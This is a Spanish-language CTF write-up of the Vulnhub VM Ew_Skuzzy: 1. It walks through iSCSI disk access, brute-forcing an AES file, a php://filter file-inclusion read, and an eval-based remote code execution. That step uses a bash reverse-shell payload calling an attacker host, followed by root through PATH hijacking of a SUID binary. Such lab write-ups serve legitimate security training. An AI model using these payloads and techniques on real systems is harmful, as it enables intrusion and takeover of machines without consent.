sábado, 9 de abril de 2022

CTF Ew_Skuzzy: 1 VM

 

Primero se escanea los puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN ew_skuzzy 192.168.2.14
Starting Nmap
Nmap scan report for 192.168.2.14
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89c2ae12d6c5194e684a28e906bd9c19 (RSA)
|   256 f00cae3710d36da2853a77040694f80a (ECDSA)
|_  256 855b491705a0b84e76ceb263c62136e9 (ED25519)
80/tcp   open  http    nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se reviso en el navegador el servicio corriendo en el puerto 80


Como el escaneo de directorio no se encontro ningun directorio, o en el código fuente, se comprueba el otro servicio que correo el 3260, según un blog 

iSCSI es un protocolo de red de área de almacenamiento que define cómo se transfieren los datos entre los sistemas host y los dispositivos de almacenamiento. Permite el transporte de datos SCSI a nivel de bloque entre el iniciador iSCSI y el destino de almacenamiento a través de redes TCP/IP.

Se intenta descubrir si este servicio esta expuesto.
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.2.14:3260
192.168.2.14:3260,1 iqn.2017-02.local.skuzzy:storage.sys0


Para obtener mas información, con el siguiente comando
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260
# BEGIN RECORD
node.name = iqn.2017-02.local.skuzzy:storage.sys0
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.ipaddress = <empty>
iface.prefix_len = 0
iface.hwaddress = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.dhcp_alt_client_id_state = <empty>
iface.dhcp_alt_client_id = <empty>
iface.dhcp_dns = <empty>
iface.dhcp_learn_iqn = <empty>
iface.dhcp_req_vendor_id_state = <empty>
iface.dhcp_vendor_id_state = <empty>
iface.dhcp_vendor_id = <empty>
iface.dhcp_slp_da = <empty>
iface.fragmentation = <empty>
iface.gratuitous_arp = <empty>
iface.incoming_forwarding = <empty>
iface.tos_state = <empty>
iface.tos = 0
iface.ttl = 0
iface.delayed_ack = <empty>
iface.tcp_nagle = <empty>
iface.tcp_wsf_state = <empty>
iface.tcp_wsf = 0
iface.tcp_timer_scale = 0
iface.tcp_timestamp = <empty>
iface.redirect = <empty>
iface.def_task_mgmt_timeout = 0
iface.header_digest = <empty>
iface.data_digest = <empty>
iface.immediate_data = <empty>
iface.initial_r2t = <empty>
iface.data_seq_inorder = <empty>
iface.data_pdu_inorder = <empty>
iface.erl = 0
iface.max_receive_data_len = 0
iface.first_burst_len = 0
iface.max_outstanding_r2t = 0
iface.max_burst_len = 0
iface.chap_auth = <empty>
iface.bidi_chap = <empty>
iface.strict_login_compliance = <empty>
iface.discovery_auth = <empty>
iface.discovery_logout = <empty>
node.discovery_address = 192.168.2.14
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.session.scan = auto
node.session.reopen_max = 0
node.conn[0].address = 192.168.2.14
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD

 Lo siguiente es conectarse a este servicio con el flag --login
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260 --login
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.2.14,3260] successful.


 Ahora se verifica la tabla de particiones de disco.
$ sudo fdisk -l
...
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VIRTUAL-DISK    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Es hora de montar este disco, se crea una carpeta y se monta este disco.
# mount /dev/sdb sdb 

# ls
bobsdisk.dsk  flag1.txt  lost+found

 

Se a encontrado la primer flag
# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{********************************327f4dd}

Let's see how you go with the next one...

 

Se tiene otro disco pues tambien se intenta montar en otra carpeta.
# mount bobsdisk.dsk ../bobs


Se comprueba los archivos de bob.
# ls
lost+found  ToAlice.csv.enc  ToAlice.eml

 

Se abre el archivo ToAlice.eml se encuentra la flag2 y un monton de pistas para lo que viene.
# cat ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{******************************d23d3a7f}


 

Estas son algunas de las pistas

  • -md sha256
  • symmetric key crypto algorithm
  • ROCKYOU
  • 256 bit 
  • competition among crypto geeks in October 2000
  • it's all symmetric keys from here on out.
     

Lo que sigue es hacer un ataque de fuerza bruta contra el archivo encriptado, con las pistas se reduce considerablemente la cantidad de intentos. Se estraen todos los strings de 32bytes (2^8*32=256bites) de rockyou.
$ cat ../rockyou.txt | awk 'length($1)==32'> key.txt


Ahora con un pequeño script se crea que ejecute el siguiente comando y le pase una contraseña desde la lista recien creada.
pswd: supercalifragilisticoespialidoso
openssl aes-256-cbc -d -k pswd -in ToAlice.csv.enc -out ToAlice.csv -md sha2569


Despues de obtener el archivo con la contraseña correcta, se comprueba
# cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?


Asi pues, se escanea las nuevas rutas
$ gobuster dir -u http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/index.php            (Status: 200) [Size: 969]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/welcome.php          (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/flag.php             (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/reader.php           (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/party.php            (Status: 200) [Size: 17]
Progress: 439936 / 441122 (99.73%)

En este se encuentra con una vulnerabilidad de LFI, pero al intentar vulnerarla.

 

Pero en la ruta /c2444910794e037ebd8aaf257178c90b/?p=reader, se accede a una direccion local, al ir a esa direccion se encontro con este archivo.

 

Si no me equivoco, esas ##tags## estan funcionando y las de php estan ejecutando el print. Para acceder al archivo /flag.php gracias a este blog, se puede explotar en la parte donde hace el llamado a una url, se hace el cambio por el protocolo filter y finaliza con el archivo asi.
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
                          


 

Y pasando ese hash a base64 se obtiene esto.
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>


Al probarlo con la ruta reader.php, aparecio lo siguiente
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

 

Luego de improvisar un poco con el buen burpsuit, la key que se necesita es la misma flag4


Al intentar de cambiar la url a la local con un servicio web con un archivo que contiene una reverse shell, funciona hasta, pero no ejecuta el archivo, asi que descargo el archivo data.txt, y si funciono. A partir de ahi se comenzo a probar diferentes comandos para comprobar cual podia funciona, gracias a este post, se inyectar el comando correcto para que se ejecutara la shell.
##php##
print("See? Hacker proof,required!");
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");
##php##
  

Previamente dejando un puerto para escuchar, se pasa la url con la key y la ruta del archivo txt desde mi local.
$ nc -lvnp 4567

http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.2.5:8000/dataall.txt

 

Y ya se tiene acceso, ahora a buscar un punto para escalar en el sistema.
www-data@skuzzy:/home/skuzzy$ find / type f -perm -04000 -ls 2>/dev/null
find / type f -perm -04000 -ls 2>/dev/null
    18326     16 -rwsr-xr-x   1 root     root        14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
    16689     40 -rwsr-xr-x   1 root     root        38984 Feb  4  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17467    420 -rwsr-xr-x   1 root     root       428240 Aug 12  2016 /usr/lib/openssh/ssh-keysign
    16114     44 -rwsr-xr--   1 root     messagebus    42992 Jan 13  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   152231     56 -rwsr-xr-x   1 root     root          56456 Feb 18  2017 /usr/lib/snapd/snap-confine
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    16707     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
    18335     24 -rwsr-xr-x   1 root     root          23376 Jan 18  2016 /usr/bin/pkexec
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
    17780     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 15  2016 /usr/bin/at
    16706     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
      405     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
      489    136 -rwsr-xr-x   1 root     root         136808 Jan 21  2017 /usr/bin/sudo
   149630     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   131134     40 -rwsr-xr-x   1 root     root          40152 Dec 17  2016 /bin/mount
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   149660    140 -rwsr-xr-x   1 root     root         142032 Jan 29  2017 /bin/ntfs-3g
   131148     44 -rwsr-xr-x   1 root     root          44168 May  8  2014 /bin/ping
   131149     44 -rwsr-xr-x   1 root     root          44680 May  8  2014 /bin/ping6
   131183     28 -rwsr-xr-x   1 root     root          27608 Dec 17  2016 /bin/umount
   157770     12 -rwsr-xr-x   1 root     root           8736 Mar  2  2017 /opt/alicebackup

 

Se ejecuta el binario de alicebackup y esto pasa.
www-data@skuzzy:/home/skuzzy$ /opt/alicebackup
/opt/alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Name or service not known
lost connection


Como se utiliza no un path absoluto para ejecutar el id, se copia bash en un archivo en /tmp, se exporta el path y con suerte se obtiene acceso a root.
www-data@skuzzy:/tmp$ cp /bin/bash id
cp /bin/bash id
www-data@skuzzy:/tmp$ export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
www-data@skuzzy:/tmp$ /opt/alicebackup
whoami
root

 

Para obtener el utimo flag, se encuentra en /root, les dejo parte del mensaje.
cat /root/flag.txt
Congratulations!

flag5{*******************************96d89f6a}



Muchas gracias a @vortexau que nos brindó esta VM. Hasta la próxima.

Vulnhub: Ew_Skuzzy: 1
Referencia: community.fs.com
Referencia: diablohorn.com
Referencia: stackoverflow.com